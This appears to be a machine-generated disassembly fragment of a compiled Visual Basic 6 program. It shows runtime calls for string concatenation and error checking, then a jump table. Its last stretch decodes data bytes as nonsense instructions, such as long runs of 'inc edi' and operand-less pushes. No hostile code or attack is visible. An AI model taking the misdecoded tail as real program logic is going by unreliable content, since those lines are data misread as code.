    00408864call imp:msvbvm60!__vbaStrCat
    0040886amov edx, eax
    0040886clea ecx, [ebp-40]
    0040886fcall imp:msvbvm60!__vbaStrMove
    00408875mov ecx, edi
    00408877mov edi, [ebp-192]
    0040887dpush eax
    0040887epush edi
    0040887fjmp 0x408b87
    00408884mov eax, [esi]
    00408886push esi
    00408887call [eax+780]
    0040888dlea ecx, [ebp-48]
    00408890push eax
    00408891push ecx
    00408892call ebx
    00408894mov edx, [esi]
    00408896push esi
    00408897mov [ebp-192], eax
    0040889dcall [edx+780]
    004088a3push eax
    004088a4lea eax, [ebp-44]
    004088a7push eax
    004088a8call ebx
    004088aamov edi, eax
    004088aclea edx, [ebp-36]
    004088afpush edx
    004088b0push edi
    004088b1mov ecx, [edi]
    004088b3call [ecx+160]
    004088b9test eax, eax
    004088bbfnclex
    004088bdjge 0x4088d1
    004088bfpush 160
    004088c4push 0x403038
    004088c9push edi
    004088capush eax
    004088cbcall imp:msvbvm60!__vbaHresultCheckObj
    004088d1
    004088d1loc_4088d1:
    004088d1mov ecx, [ebp-36]
    004088d4mov eax, [ebp-192]
    004088dapush ecx
    004088dbpush 0x40355c
    004088e0mov edi, [eax]
    004088e2call imp:msvbvm60!__vbaStrCat
    004088e8mov edx, eax
    004088ealea ecx, [ebp-40]
    004088edcall imp:msvbvm60!__vbaStrMove
    004088f3mov edx, edi
    004088f5mov edi, [ebp-192]
    004088fbpush eax
    004088fcpush edi
    004088fdjmp 0x4063d1
    00408902mov ecx, [esi]
    00408904push esi
    00408905call [ecx+780]
    0040890blea edx, [ebp-48]
    0040890epush eax
    0040890fpush edx
    00408910call ebx
    00408912mov [ebp-192], eax
    00408918mov eax, [esi]
    0040891apush esi
    0040891bcall [eax+780]
    00408921lea ecx, [ebp-44]
    00408924push eax
    00408925push ecx
    00408926call ebx
    00408928mov edi, eax
    0040892alea eax, [ebp-36]
    0040892dpush eax
    0040892epush edi
    0040892fmov edx, [edi]
    00408931call [edx+160]
    00408937test eax, eax
    00408939fnclex
    0040893bjge 0x40894f
    0040893dpush 160
    00408942push 0x403038
    00408947push edi
    00408948push eax
    00408949call imp:msvbvm60!__vbaHresultCheckObj
    0040894f
    0040894floc_40894f:
    0040894fmov edx, [ebp-36]
    00408952mov ecx, [ebp-192]
    00408958push edx
    00408959push 0x403574
    0040895emov edi, [ecx]
    00408960call imp:msvbvm60!__vbaStrCat
    00408966mov edx, eax
    00408968lea ecx, [ebp-40]
    0040896bcall imp:msvbvm60!__vbaStrMove
    00408971mov [ebp-500], edi
    00408977mov edi, [ebp-192]
    0040897dpush eax
    0040897emov eax, [ebp-500]
    00408984push edi
    00408985jmp 0x406469
    0040898amov edx, [esi]
    0040898cpush esi
    0040898dcall [edx+780]
    00408993push eax
    00408994lea eax, [ebp-48]
    00408997push eax
    00408998call ebx
    0040899amov ecx, [esi]
    0040899cpush esi
    0040899dmov [ebp-192], eax
    004089a3call [ecx+780]
    004089a9lea edx, [ebp-44]
    004089acpush eax
    004089adpush edx
    004089aecall ebx
    004089b0mov edi, eax
    004089b2lea ecx, [ebp-36]
    004089b5push ecx
    004089b6push edi
    004089b7mov eax, [edi]
    004089b9call [eax+160]
    004089bftest eax, eax
    004089c1fnclex
    004089c3jge 0x4089d7
    004089c5push 160
    004089capush 0x403038
    004089cfpush edi
    004089d0push eax
    004089d1call imp:msvbvm60!__vbaHresultCheckObj
    004089d7
    004089d7loc_4089d7:
    004089d7mov eax, [ebp-36]
    004089damov edx, [ebp-192]
    004089e0push eax
    004089e1push 0x403590
    004089e6mov edi, [edx]
    004089e8call imp:msvbvm60!__vbaStrCat
    004089eemov edx, eax
    004089f0lea ecx, [ebp-40]
    004089f3call imp:msvbvm60!__vbaStrMove
    004089f9mov ecx, edi
    004089fbmov edi, [ebp-192]
    00408a01push eax
    00408a02push edi
    00408a03jmp 0x408b87
    00408a08mov eax, [esi]
    00408a0apush esi
    00408a0bcall [eax+780]
    00408a11lea ecx, [ebp-48]
    00408a14push eax
    00408a15push ecx
    00408a16call ebx
    00408a18mov edx, [esi]
    00408a1apush esi
    00408a1bmov [ebp-192], eax
    00408a21call [edx+780]
    00408a27push eax
    00408a28lea eax, [ebp-44]
    00408a2bpush eax
    00408a2ccall ebx
    00408a2emov edi, eax
    00408a30lea edx, [ebp-36]
    00408a33push edx
    00408a34push edi
    00408a35mov ecx, [edi]
    00408a37call [ecx+160]
    00408a3dtest eax, eax
    00408a3ffnclex
    00408a41jge 0x408a55
    00408a43push 160
    00408a48push 0x403038
    00408a4dpush edi
    00408a4epush eax
    00408a4fcall imp:msvbvm60!__vbaHresultCheckObj
    00408a55
    00408a55loc_408a55:
    00408a55mov ecx, [ebp-36]
    00408a58mov eax, [ebp-192]
    00408a5epush ecx
    00408a5fpush 0x4035ac
    00408a64mov edi, [eax]
    00408a66call imp:msvbvm60!__vbaStrCat
    00408a6cmov edx, eax
    00408a6elea ecx, [ebp-40]
    00408a71call imp:msvbvm60!__vbaStrMove
    00408a77mov edx, edi
    00408a79mov edi, [ebp-192]
    00408a7fpush eax
    00408a80push edi
    00408a81jmp 0x4063d1
    00408a86mov ecx, [esi]
    00408a88push esi
    00408a89call [ecx+780]
    00408a8flea edx, [ebp-48]
    00408a92push eax
    00408a93push edx
    00408a94call ebx
    00408a96mov [ebp-192], eax
    00408a9cmov eax, [esi]
    00408a9epush esi
    00408a9fcall [eax+780]
    00408aa5lea ecx, [ebp-44]
    00408aa8push eax
    00408aa9push ecx
    00408aaacall ebx
    00408aacmov edi, eax
    00408aaelea eax, [ebp-36]
    00408ab1push eax
    00408ab2push edi
    00408ab3mov edx, [edi]
    00408ab5call [edx+160]
    00408abbtest eax, eax
    00408abdfnclex
    00408abfjge 0x408ad3
    00408ac1push 160
    00408ac6push 0x403038
    00408acbpush edi
    00408accpush eax
    00408acdcall imp:msvbvm60!__vbaHresultCheckObj
    00408ad3
    00408ad3loc_408ad3:
    00408ad3mov edx, [ebp-36]
    00408ad6mov ecx, [ebp-192]
    00408adcpush edx
    00408addpush 0x4035cc
    00408ae2mov edi, [ecx]
    00408ae4call imp:msvbvm60!__vbaStrCat
    00408aeamov edx, eax
    00408aeclea ecx, [ebp-40]
    00408aefcall imp:msvbvm60!__vbaStrMove
    00408af5mov [ebp-512], edi
    00408afbmov edi, [ebp-192]
    00408b01push eax
    00408b02mov eax, [ebp-512]
    00408b08push edi
    00408b09jmp 0x406469
    00408b0emov edx, [esi]
    00408b10push esi
    00408b11call [edx+780]
    00408b17push eax
    00408b18lea eax, [ebp-48]
    00408b1bpush eax
    00408b1ccall ebx
    00408b1emov ecx, [esi]
    00408b20push esi
    00408b21mov [ebp-192], eax
    00408b27call [ecx+780]
    00408b2dlea edx, [ebp-44]
    00408b30push eax
    00408b31push edx
    00408b32call ebx
    00408b34mov edi, eax
    00408b36lea ecx, [ebp-36]
    00408b39push ecx
    00408b3apush edi
    00408b3bmov eax, [edi]
    00408b3dcall [eax+160]
    00408b43test eax, eax
    00408b45fnclex
    00408b47jge 0x408b5b
    00408b49push 160
    00408b4epush 0x403038
    00408b53push edi
    00408b54push eax
    00408b55call imp:msvbvm60!__vbaHresultCheckObj
    00408b5b
    00408b5bloc_408b5b:
    00408b5bmov eax, [ebp-36]
    00408b5emov edx, [ebp-192]
    00408b64push eax
    00408b65push 0x4035e8
    00408b6amov edi, [edx]
    00408b6ccall imp:msvbvm60!__vbaStrCat
    00408b72mov edx, eax
    00408b74lea ecx, [ebp-40]
    00408b77call imp:msvbvm60!__vbaStrMove
    00408b7dmov ecx, edi
    00408b7fmov edi, [ebp-192]
    00408b85push eax
    00408b86push edi
    00408b87
    00408b87loc_408b87:
    00408b87call [ecx+164]
    00408b8dtest eax, eax
    00408b8ffnclex
    00408b91jge 0x408da5
    00408b97jmp 0x408d93
    00408b9cmov eax, [esi]
    00408b9epush esi
    00408b9fcall [eax+780]
    00408ba5lea ecx, [ebp-48]
    00408ba8push eax
    00408ba9push ecx
    00408baacall ebx
    00408bacmov edx, [esi]
    00408baepush esi
    00408bafmov [ebp-192], eax
    00408bb5call [edx+780]
    00408bbbpush eax
    00408bbclea eax, [ebp-44]
    00408bbfpush eax
    00408bc0call ebx
    00408bc2mov edi, eax
    00408bc4lea edx, [ebp-36]
    00408bc7push edx
    00408bc8push edi
    00408bc9mov ecx, [edi]
    00408bcbcall [ecx+160]
    00408bd1test eax, eax
    00408bd3fnclex
    00408bd5jge 0x408be9
    00408bd7push 160
    00408bdcpush 0x403038
    00408be1push edi
    00408be2push eax
    00408be3call imp:msvbvm60!__vbaHresultCheckObj
    00408be9
    00408be9loc_408be9:
    00408be9mov ecx, [ebp-36]
    00408becmov eax, [ebp-192]
    00408bf2push ecx
    00408bf3push 0x403600
    00408bf8mov edi, [eax]
    00408bfacall imp:msvbvm60!__vbaStrCat
    00408c00mov edx, eax
    00408c02lea ecx, [ebp-40]
    00408c05call imp:msvbvm60!__vbaStrMove
    00408c0bmov edx, edi
    00408c0dmov edi, [ebp-192]
    00408c13push eax
    00408c14push edi
    00408c15call [edx+164]
    00408c1btest eax, eax
    00408c1dfnclex
    00408c1fjge 0x408c33
    00408c21
    00408c21loc_408c21:
    00408c21push 164
    00408c26push 0x403038
    00408c2bpush edi
    00408c2cpush eax
    00408c2dcall imp:msvbvm60!__vbaHresultCheckObj
    00408c33
    00408c33loc_408c33:
    00408c33lea eax, [ebp-40]
    00408c36lea ecx, [ebp-36]
    00408c39push eax
    00408c3apush ecx
    00408c3bpush 2
    00408c3dcall imp:msvbvm60!__vbaFreeStrList
    00408c43lea edx, [ebp-48]
    00408c46lea eax, [ebp-44]
    00408c49push edx
    00408c4apush eax
    00408c4bjmp 0x408dbd
    00408c50mov ecx, [esi]
    00408c52push esi
    00408c53call [ecx+780]
    00408c59lea edx, [ebp-48]
    00408c5cpush eax
    00408c5dpush edx
    00408c5ecall ebx
    00408c60mov [ebp-192], eax
    00408c66mov eax, [esi]
    00408c68push esi
    00408c69call [eax+780]
    00408c6flea ecx, [ebp-44]
    00408c72push eax
    00408c73push ecx
    00408c74call ebx
    00408c76mov edi, eax
    00408c78lea eax, [ebp-36]
    00408c7bpush eax
    00408c7cpush edi
    00408c7dmov edx, [edi]
    00408c7fcall [edx+160]
    00408c85test eax, eax
    00408c87fnclex
    00408c89jge 0x408c9d
    00408c8bpush 160
    00408c90push 0x403038
    00408c95push edi
    00408c96push eax
    00408c97call imp:msvbvm60!__vbaHresultCheckObj
    00408c9d
    00408c9dloc_408c9d:
    00408c9dmov edx, [ebp-36]
    00408ca0mov ecx, [ebp-192]
    00408ca6push edx
    00408ca7push 0x403618
    00408cacmov edi, [ecx]
    00408caecall imp:msvbvm60!__vbaStrCat
    00408cb4mov edx, eax
    00408cb6lea ecx, [ebp-40]
    00408cb9call imp:msvbvm60!__vbaStrMove
    00408cbfmov [ebp-524], edi
    00408cc5mov edi, [ebp-192]
    00408ccbpush eax
    00408cccmov eax, [ebp-524]
    00408cd2push edi
    00408cd3call [eax+164]
    00408cd9test eax, eax
    00408cdbfnclex
    00408cddjge 0x408cf1
    00408cdf
    00408cdfloc_408cdf:
    00408cdfpush 164
    00408ce4push 0x403038
    00408ce9push edi
    00408ceapush eax
    00408cebcall imp:msvbvm60!__vbaHresultCheckObj
    00408cf1
    00408cf1loc_408cf1:
    00408cf1lea ecx, [ebp-40]
    00408cf4lea edx, [ebp-36]
    00408cf7push ecx
    00408cf8push edx
    00408cf9push 2
    00408cfbcall imp:msvbvm60!__vbaFreeStrList
    00408d01lea eax, [ebp-48]
    00408d04lea ecx, [ebp-44]
    00408d07push eax
    00408d08push ecx
    00408d09jmp 0x408dbd
    00408d0emov edx, [esi]
    00408d10push esi
    00408d11call [edx+780]
    00408d17push eax
    00408d18lea eax, [ebp-48]
    00408d1bpush eax
    00408d1ccall ebx
    00408d1emov ecx, [esi]
    00408d20push esi
    00408d21mov [ebp-192], eax
    00408d27call [ecx+780]
    00408d2dlea edx, [ebp-44]
    00408d30push eax
    00408d31push edx
    00408d32call ebx
    00408d34mov edi, eax
    00408d36lea ecx, [ebp-36]
    00408d39push ecx
    00408d3apush edi
    00408d3bmov eax, [edi]
    00408d3dcall [eax+160]
    00408d43test eax, eax
    00408d45fnclex
    00408d47jge 0x408d5b
    00408d49push 160
    00408d4epush 0x403038
    00408d53push edi
    00408d54push eax
    00408d55call imp:msvbvm60!__vbaHresultCheckObj
    00408d5b
    00408d5bloc_408d5b:
    00408d5bmov eax, [ebp-36]
    00408d5emov edx, [ebp-192]
    00408d64push eax
    00408d65push 0x403634
    00408d6amov edi, [edx]
    00408d6ccall imp:msvbvm60!__vbaStrCat
    00408d72mov edx, eax
    00408d74lea ecx, [ebp-40]
    00408d77call imp:msvbvm60!__vbaStrMove
    00408d7dmov ecx, edi
    00408d7fmov edi, [ebp-192]
    00408d85push eax
    00408d86push edi
    00408d87call [ecx+164]
    00408d8dtest eax, eax
    00408d8ffnclex
    00408d91jge 0x408da5
    00408d93
    00408d93loc_408d93:
    00408d93push 164
    00408d98push 0x403038
    00408d9dpush edi
    00408d9epush eax
    00408d9fcall imp:msvbvm60!__vbaHresultCheckObj
    00408da5
    00408da5loc_408da5:
    00408da5lea edx, [ebp-40]
    00408da8lea eax, [ebp-36]
    00408dabpush edx
    00408dacpush eax
    00408dadpush 2
    00408dafcall imp:msvbvm60!__vbaFreeStrList
    00408db5lea ecx, [ebp-48]
    00408db8lea edx, [ebp-44]
    00408dbbpush ecx
    00408dbcpush edx
    00408dbd
    00408dbdloc_408dbd:
    00408dbdpush 2
    00408dbfcall imp:msvbvm60!__vbaFreeObjList
    00408dc5add esp, 24
    00408dc8
    00408dc8loc_408dc8:
    00408dc8mov eax, [ebp-208]
    00408dcemov ecx, [ebp-24]
    00408dd1add eax, ecx
    00408dd3jo 0x409047
    00408dd9mov [ebp-24], eax
    00408ddcmov ecx, eax
    00408ddexor eax, eax
    00408de0jmp 0x40622f
    00408de5
    00408de5loc_408de5:
    00408de5mov [ebp-4], eax
    00408de8push 0x408e30
    00408dedjmp 0x408e2f
    00408deflea ecx, [ebp-40]
    00408df2lea edx, [ebp-36]
    00408df5push ecx
    00408df6push edx
    00408df7push 2
    00408df9call imp:msvbvm60!__vbaFreeStrList
    00408dfflea eax, [ebp-48]
    00408e02lea ecx, [ebp-44]
    00408e05push eax
    00408e06push ecx
    00408e07push 2
    00408e09call imp:msvbvm60!__vbaFreeObjList
    00408e0flea edx, [ebp-128]
    00408e12lea eax, [ebp-112]
    00408e15push edx
    00408e16lea ecx, [ebp-96]
    00408e19push eax
    00408e1alea edx, [ebp-80]
    00408e1dpush ecx
    00408e1elea eax, [ebp-64]
    00408e21push edx
    00408e22push eax
    00408e23push 5
    00408e25call imp:msvbvm60!__vbaFreeVarList
    00408e2badd esp, 48
    00408e2eret
    00408e2f
    00408e2floc_408e2f:
    00408e2fret
    00408e30mov eax, [ebp+8]
    00408e33push eax
    00408e34mov ecx, [eax]
    00408e36call [ecx+8]
    00408e39mov eax, [ebp-4]
    00408e3cmov ecx, [ebp-20]
    00408e3fpop edi
    00408e40pop esi
    00408e41mov [0x0], ecx
    00408e48pop ebx
    00408e49mov esp, ebp
    00408e4bpop ebp
    00408e4cret 4
    00408e4fnop
    00408e50dd 0x4081f6
    00408e54dd 0x408274
    00408e58dd 0x40629e
    00408e5cdd 0x4082f2
    00408e60dd 0x40837a
    00408e64dd 0x4083f8
    00408e68dd 0x408476
    00408e6cdd 0x4084fe
    00408e70dd 0x40857c
    00408e74dd 0x4085fa
    00408e78dd 0x408682
    00408e7cdd 0x408700
    00408e80dd 0x40877e
    00408e84dd 0x408806
    00408e88dd 0x408884
    00408e8cdd 0x408902
    00408e90dd 0x40898a
    00408e94dd 0x408a08
    00408e98dd 0x408a86
    00408e9cdd 0x408b0e
    00408ea0dd 0x408b9c
    00408ea4dd 0x408c50
    00408ea8dd 0x406b8a
    00408eacdd 0x406cb1
    00408eb0dd 0x406e2b
    00408eb4dd 0x406ec5
    00408eb8dd 0x406f5f
    00408ebcdd 0x406ff9
    00408ec0dd 0x407093
    00408ec4dd 0x40712d
    00408ec8dd 0x4071c7
    00408eccdd 0x407261
    00408ed0dd 0x408d0e
    00408ed4dd 0x4063e6
    00408ed8dd 0x40647e
    00408edcdd 0x4064fc
    00408ee0dd 0x40657a
    00408ee4dd 0x406602
    00408ee8dd 0x406680
    00408eecdd 0x4066fe
    00408ef0dd 0x406786
    00408ef4dd 0x406804
    00408ef8dd 0x406882
    00408efcdd 0x40690a
    00408f00dd 0x406988
    00408f04dd 0x406a06
    00408f08dd 0x406a8e
    00408f0cdd 0x406b0c
    00408f10dd 0x4072fb
    00408f14dd 0x407383
    00408f18dd 0x407401
    00408f1cdd 0x40747f
    00408f20dd 0x407507
    00408f24dd 0x407585
    00408f28dd 0x407603
    00408f2cdd 0x40768b
    00408f30dd 0x407709
    00408f34dd 0x407787
    00408f38dd 0x40780f
    00408f3cdd 0x40788d
    00408f40dd 0x407ca7
    00408f44dd 0x407c0d
    00408f48dd 0x4079a5
    00408f4cdd 0x407a3f
    00408f50dd 0x407ad9
    00408f54dd 0x407b73
    00408f58dd 0x40807c
    00408f5cdd 0x407e68
    00408f60dd 0x40790b
    00408f64dd 0x407f02
    00408f68dd 0x407d41
    00408f6cdd 0x408dc8
    00408f70add [ecx], al
    00408f72inc edi
    00408f73inc edi
    00408f74inc edi
    00408f75add al, [edi+71]
    00408f78inc edi
    00408f79add eax, [eax+0x47474706]
    00408f80inc edi
    00408f81inc edi
    00408f82inc edi
    00408f83pop
    00408f84inc edi
    00408f85inc edi
    00408f86inc edi
    00408f87inc edi
    00408f88or [ecx], cl
    00408f8aor cl, [ebx]
    00408f8cor al, 13
    00408f8epush
    00408f8fmovups x2, [ecx]
    00408f92inc edi
    00408f93inc edi
    00408f94adc dl, [ebx]
    00408f96adc al, 21
    00408f98push
    00408f99pop
    00408f9asbb [ecx], bl
    00408f9csbb bl, [ebx]
    00408f9esbb al, 29
    00408fa0push
    00408fa1pop
    00408fa2inc edi
    00408fa3inc edi
    00408fa4inc edi
    00408fa5inc edi
    00408fa6inc edi
    00408fa7inc edi
    00408fa8inc edi
    00408fa9inc edi
    00408faainc edi
    00408fabinc edi
    00408facinc edi
    00408fadinc edi
    00408faeinc edi
    00408fafinc edi
    00408fb0inc edi
    00408fb1inc edi
    00408fb2inc edi
    00408fb3inc edi
    00408fb4inc edi
    00408fb5inc edi
    00408fb6inc edi
    00408fb7inc edi
    00408fb8inc edi
    00408fb9inc edi
    00408fbainc edi
    00408fbbinc edi
    00408fbcinc edi
    00408fbdinc edi
    00408fbeinc edi
    00408fbfinc edi
    00408fc0inc edi
    00408fc1inc edi
    00408fc2inc edi
    00408fc3and [eax], ah
    00408fc5inc edi
    00408fc6inc edi
    00408fc7inc edi
    00408fc8and [edx], esp
    00408fcaand esp, [0x29282726]
    00408fd1sub ch, [ebx]
    00408fd3sub al, 71
    00408fd5sub eax, 0x31302f2e
    00408fdaxor dh, [ebx]
    00408fdcxor al, 53
    00408fdeaaa
    00408fe0cmp [ecx], bh
    00408fe2cmp bh, [ebx]
    00408fe4inc edi
    00408fe5inc edi
    00408fe6inc edi
    00408fe7inc edi
    00408fe8inc edi
    00408fe9inc edi
    00408feainc edi
    00408febinc edi
    00408fecinc edi
    00408fedinc edi
    00408feeinc edi
    00408fefinc edi
    00408ff0inc edi
    00408ff1inc edi
    00408ff2inc edi
    00408ff3inc edi
    00408ff4inc edi
    00408ff5inc edi
    00408ff6inc edi
    00408ff7inc edi
    00408ff8inc edi
    00408ff9inc edi
    00408ffainc edi
    00408ffbinc edi
    00408ffcinc edi
    00408ffdinc edi
    00408ffeinc edi
    00408fffinc edi
    00409000inc edi
    00409001inc edi
    00409002inc edi
    00409003inc edi
    00409004inc edi
    00409005inc edi
    00409006inc edi
    00409007inc edi
    00409008inc edi
    00409009inc edi
    0040900ainc edi
    0040900binc edi
    0040900cinc edi
    0040900dinc edi
    0040900einc edi
    0040900finc edi
    00409010inc edi
    00409011inc edi
    00409012inc edi
    00409013inc edi
    00409014inc edi
    00409015inc edi
    00409016inc edi
    00409017inc edi
    00409018inc edi
    00409019inc edi
    0040901ainc edi
    0040901binc edi
    0040901cinc edi
    0040901dinc edi
    0040901einc edi
    0040901finc edi
    00409020inc edi
    00409021inc edi
    00409022cmp al, 61
    00409024aas
    00409026inc eax
    00409027inc ecx
    00409028inc edx
    00409029inc edi
    0040902ainc edi
    0040902binc edi
    0040902cinc edi
    0040902dinc edi
    0040902einc edi
    0040902finc edi
    00409030inc edi
    00409031inc edi
    00409032inc edi
    00409033inc edi
    00409034inc edi
    00409035inc edi
    00409036inc edi
    00409037inc edi
    00409038inc edi
    00409039inc edi
    0040903ainc edi
    0040903binc edi
    0040903cinc edi
    0040903dinc edi
    0040903einc edi
    0040903finc edi
    00409040inc edi
    00409041inc edi
    00409042inc edi
    00409043inc ebx
    00409044inc esp
    00409045inc ebp
    00409046inc esi
    00409047
    00409047loc_409047:
    00409047call imp:msvbvm60!__vbaErrorOverflow
    0040904dnop
    0040904enop
    0040904fnop
    00405f50